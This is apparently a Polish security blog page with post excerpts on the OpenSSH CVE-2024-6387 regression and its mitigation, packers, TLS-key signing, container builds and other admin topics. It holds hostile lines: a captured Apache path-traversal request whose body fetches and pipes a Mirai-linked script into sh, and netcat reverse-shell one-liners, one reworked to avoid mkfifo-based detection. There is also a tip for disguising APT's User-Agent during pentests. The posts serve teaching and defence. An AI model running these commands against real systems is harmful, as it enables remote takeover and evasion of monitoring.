J

ednostka badawcza firmy Qualys (ang. Qualys Threat Research Unit – TRU) opublikowała szczegóły krytycznej luki w kodzie OpenSSH (sshd) umożliwiającej zdalne wykonanie kodu bez uwierzytelniania w systemach Linux opartych na glibc. CVE powiązane z tą luką to CVE-2006-5051 i CVE-2024-6387. Powodem zastosowania dwóch numerów CVE w tym wykorzystania tego z 2006 roku jest regresja, czyli powrót starego błędu. Niestety zdarza się to dość regularnie (nie w przypadku OpenSSH, ale ogólnie różnego rodzaju oprogramowania), że programiści nie dodają testów, aby upewniać się, że luki odkryte wcześniej w cyklu życia programu są pokryte łatami w przyszłych wersjach. Wersje OpenSSH starsze niż 4.4p1 są podatne na CVE-2006-5051 oraz CVE-2008-4109, z kolei OpenSSH w wersji 8.5p1 (tutaj w październiku 2020 pojawiła się regresja) do 9.8p1 (ale nie włącznie – to jest wersja poprawiona) są podatne na CVE-2024-6387 z powodu przypadkowego usunięcia krytycznego komponentu w funkcji. Ten błąd nie dotyczy systemów OpenBSD, ponieważ w 2001 roku OpenBSD opracowało bezpieczny mechanizm, który zapobiega tej luce.

Należy jednak pamiętać, że wiele dystrybucji Linuksa nie większy numerów wersji, jeśli naniosą łatkę na aktualnie używany pakiet – tylko podniesie swój wewnętrzny patchset np. z 8.9p1-3ubuntu0.7 do 8.9p1-3ubuntu0.10. Jakie dystrybucje są podatne?

• RedHat Enterprise 9
• Fedora Linux od 34 do 40
• Debian 12 (Bookworm)
• Ubuntu 22.04, 23.10, 24.04
• openSUSE Leap 15.6, Tumbleweed
• Alpine Linux od 3.14 do 3.20
• Arch Linux

Warto zaznaczyć, że luka ta opiera się na wygraniu wyścigu, czyli występuje tutaj problem z synchronizacją czasową wielu operacji, a samo wykorzystanie luki nie jest łatwe do odtworzenia – autorzy luki musieli wykonać około 10.000 prób na platformie x86 (32-bitowej), gdzie większość systemów Linux działa obecnie na architekturach 64-bitowych i ich eksploitacja wydaje się obecnie niepraktyczna. Luka może mieć jednak znaczenie w przypadku starszych systemów IoT, szczególnie jeśli nie są już dla nich dostępne poprawki bezpieczeństwa.

Mitygacja zagrożenia:

Proces sshd można chronić przed tym atakiem ustawiając odpowiedni parametr LoginGraceTime. Serwer OpenSSH nadal będzie podatny na ataki typu DoS (ang. Denial of Service), poprzez wyczerpanie wszystkich połączeń przez osobę atakującą, ale nie pozwoli na zdalne wykonanie kodu. Jako użytkownik root powinniśmy edytować plik /etc/sshd_config oraz dodać lub edytować wspomnianą opcję ustawiając jej wartość na zero:

LoginGraceTime 0

Po zapisaniu pliku należy zrestartować serwer OpenSSH:

systemctl restart sshd.service || /etc/init.d/sshd restart

Powyższe ustawienie wyłącza zdolność serwera sshd do zrywania połączeń, jeśli uwierzytelnianie nie zostanie zakończone w określonym czasie. Dlatego może to prowadzić do skutecznych ataków typu odmowa usługi (DoS). Jeśli zdecydowaliśmy się na to rozwiązanie to najlepiej połączyć je z narzędziem typu fail2ban lub zaporą ogniową *tables (a nawet techniką pukania w porty) w celu monitorowania logów i odpowiedniego limitowania połączeń na port SSH.

U

ltimate Packer for Executables (UPX) to program pakujący dla kilku formatów wykonywalnych, takich jak biblioteki DLL systemu Windows, aplikacji macOS oraz Linux ELF. Jak możemy przeczytać na oficjalnej stronie programu UPX: “potrafi zazwyczaj zmniejszyć rozmiar plików programów i bibliotek DDL o około 50% – 70%, redukując w ten sposób miejsce na dysku, czas ładowania w sieci, czas pobierania oraz inne koszty dystrybucji i przechowywania”. Programy pakujące zasadniczo biorą oryginalny plik wykonywalny i dodają mały fragment kodu zwany “odgałęzieniem” (ang. stub) do nowo utworzonego wykonywalnego pliku. Kod pośredniczący zostanie następnie użyty do rozpakowania pliku i “przywrócenia” pliku wykonywalnego do jego pierwotnego stanu. Podczas, gdy niektóre programu pakujące, takie jak wspomniany UPX, tylko kompresują pliki, inne mogą je również szyfrować. Atakujący często używają kompresji, aby ukrywać złośliwe oprogramowanie jako pozornie nieszkodliwe i legalne pliki, co może oszukać silniki antywirusowe oparte na sygnaturach.
[ czytaj całość… ]

W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]

J

akiś czas temu dowiedzieliśmy się, że klucze OpenSSH mogą posłużyć do podpisywania plików lub commitów git. Do tego samego celu możemy wykorzystać klucze używane w certyfikatach SSL/TLS (pozyskane z dowolnej strony, która jest dostępna za pomocą protokołu HTTPS). Pierwszym krokiem jest stworzenie pliku z wiadomością:

echo 'TOP Secret Message' > msg.txt

Drugim jest podpisanie pliku za pomocą prywatnego klucza, który znajduje się na serwerze:

openssl dgst -sha256 -sign /etc/apache2/ssl/server.key -out msg.txt.sig msg.txt

Trzecim jest konwersja pliku msg.txt.sig z formatu binarnego do tekstowego używając BASE64:

openssl base64 -in msg.txt.sig -out msg.txt.sig.asc

Jeśli teraz opublikujemy plik z wiadomością msg.txt oraz jego podpis: msg.txt.sig.asc, każdy posiadający dostęp do strony będzie mógł zweryfikować jej autentyczność. W pierwszym kroku użytkownik musi uzyskać klucz publiczny:

openssl s_client -connect nfsec.pl:443 | openssl x509 -pubkey -noout > pubkey.key

Następnie użytkownik musi ponownie zamienić opublikowaną sygnaturę tekstową do formy binarnej:

openssl base64 -d -in msg.txt.sig.asc -out msg.txt.sig

i zweryfikować poprawność wiadomości za pomocą pobranego klucza:

user@user:~$ openssl dgst -keyform pem -verify pubkey.key -signature msg.txt.sig msg.txt
Verified OK

Ale to nie wszystko. Skoro użytkownik może bardzo prosto pozyskać klucz publiczny serwera to jest w stanie szyfrować wiadomości przeznaczone do jego administratora lub właściciela:

openssl pkeyutl -in msg.txt -out to_agresor.enc -pubin -inkey pubkey.key -encrypt

Tak przesłana wiadomość może zostać odczytana za pomocą klucza prywatnego, który został użyty w certyfikacie TLS/SSL danego serwera:

root@stardust:~# openssl pkeyutl -in to_agresor.enc -out msg.txt -inkey \
                 /etc/apache2/ssl/server.key -decrypt
root@stardust:~# cat msg.txt
TOP Secret Message

W ten sposób każdy użytkownik może zaszyfrować wiadomość dla właścicieli swoich ulubionych stron internetowych – nawet jeśli nie publikują one jawnie klucza publicznego.

Więcej informacji: Using HTTPS certificates to sign/encrypt arbitrary data

W

2017 roku Troy Hunt wspomniał we wpisie na blogu o usłudze umożliwiającej sprawdzenie, czy dane / nasze hasło już istnieje pośród 306 milionów haseł, które wyciekły w wyniku naruszeń różnych serwisów. Oczywiście nie zalecano podawania prawdziwego hasła ani nawet hasła w formie zahaszowanej. Rok później Junade Ali z Cloudflare zaproponował bardzo eleganckie rozwiązanie, aby móc wysyłać zapytania do usługi bez ujawniania zbyt wielu informacji.
[ czytaj całość… ]

W

procesie budowy obrazów kontenerów wykorzystywanych do uruchamiania aplikacji lub serwerów najbardziej czasochłonną częścią jest instalacja zależności w postaci paczek systemowych. Proces ten jest z reguły powolny, ponieważ menedżery pakietów są stworzone w taki sposób, aby przedkładać stabilność instalacji nad jej wydajnością. I to ma sens: jeśli podczas instalacji wydarzy się niezapowiedziana awaria zasilania lub zawieszenie procesu, system musi pozostać w stanie nadającym się do użytku. Jednak w przypadku budowania obrazów kontenerów stabilność nie stanowi priorytetu. Jeśli proces instalacji pakietów lub kompilacji źródeł się nie powiedzie – system budujący obraz go odrzuci, zakończy proces błędem i będziemy musieli zacząć od nowa. Dlatego gdybyśmy mogli zasugerować menedżerowi pakietów, że nie przejmujemy się zbytnio integralnością danych, moglibyśmy przyspieszyć nasze kompilacje.
[ czytaj całość… ]

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

O

d strony inżynierii detekcji warto wykrywać różnego rodzaju dziwne nagłówki aplikacji klienckich (ang. User-Agent) w sieci firmowej np. te należące do Kali lub Raspbian. Z kolei od strony ofensywnej czasami może być konieczna zmiana wartości User-Agent, gdy nie chcemy ujawniać, że używamy konkretnej wersji menadżera pakietów APT (ang. Advanced Packaging Tool) np. gdy wykonujemy pentesty w otoczeniu systemów Windows. Domyślnie system Ubuntu używa tej aplikacji klienckiej przy korzystaniu z polecenia apt:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=24857081-
If-Range: Mon, 25 Mar 2024 21:47:13 GMT
User-Agent: Debian APT-HTTP/1.3 (2.4.11) non-interactive

W celu zmiany tej wartości możemy dodać następujący wpis do pliku /etc/apt/apt.conf.d/77user-agent:

Acquire
{
  http::User-Agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
                    (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36";
};
Acquire::http::User-Agent-Non-Interactive "false";

Pierwszy wpis zmienia wartość Debian APT-HTTP/1.3 (2.4.11) drugi usuwa sufix: non-interactive:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=110351-
If-Range: Tue, 26 Mar 2024 16:42:16 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Wartość na którą ustawimy User-Agent powinna odzwierciedlać aktualne wersje przeglądarek – nie ustawiajmy zbyt starych wersji lub platformy (np. mobilnej), która w danej sieci nie będzie miała żadnego sensu. Możemy skorzystać z odpowiedniej strony, aby zapoznać się z bieżącym przykładem swojej przeglądarki. W tak przygotowanym systemie powinniśmy również wyłączyć aktualizowanie pakietów (ręczne i automatyczne), ponieważ monitoring ruchu sieciowego może z łatwością wyłapać trafienia do adresów kali.org oraz raspbian.org.

Więcej informacji: List of User Agents strings, Changing apt’s User-Agent string, Configuration file for APT

Jak wyodrębnić załącznik z przesłanego pliku .eml do analizy?

agresor@soconda:~$ python3 -m venv emls
(emls) agresor@soconda:~$ source emls/bin/activate
(emls) agresor@soconda:~$ pip install eml-extractor
Collecting eml-extractor
  Using cached eml_extractor-0.1.1-py3-none-any.whl.metadata (3.3 kB)
Using cached eml_extractor-0.1.1-py3-none-any.whl (4.7 kB)
Installing collected packages: eml-extractor
Successfully installed eml-extractor-0.1.1

(emls) agresor@soconda:~$ du -k analyze_me.eml
25684	analyze_me.eml

(emls) agresor@soconda:~$ eml-extractor -f analyze_me.eml
PROCESSING FILE "analyze_me.eml"
>> Attachment found: malware_sample.zip
>> Saving attachment to "/home/agresor/Analyze Me/malware_sample.zip"
Done.

(emls) agresor@soconda:~$ du -k Analyze\ Me/malware_sample.zip
18668   Analyze\ Me/malware_sample.zip

Więcej informacji: EML Extractor

P

orządkując akta w archiwum Kosmopolu natrafiłem na starą wytartą teczkę, wypchaną mnóstwem protokołów i fotografii. Może nie zwróciłbym na nią uwagi, gdyby nie to, że rzuciłem okiem do wnętrza i natrafiłem na słowo GRAWAX…

To mi coś przypominało… Nie wiedziałem jednak, z czym powiązać to słowo; dopiero po przejrzeniu kilku stron maszynopisu przypomniałem sobie, że słyszałem je kiedyś na wykładzie starego Barela, który swego czasu wykładał nam Historię Techniki. Instytut Kosmiki ukończyłem jednak na tyle dawno, aby zapomnieć, co to było.

Zacząłem czytać. To już niestety taka moja nieuleczalna wada: kiedy robię porządki w starych szpargałach, kartotekach czy archiwach, wcześniej czy później natrafiam na coś tak bardzo absorbującego, że godzinami siedzę na podłodze wśród rozrzuconych skoroszytów, segregatorów i teczek, aż przeczytam wszystko od “a” do “z”.
[ czytaj całość… ]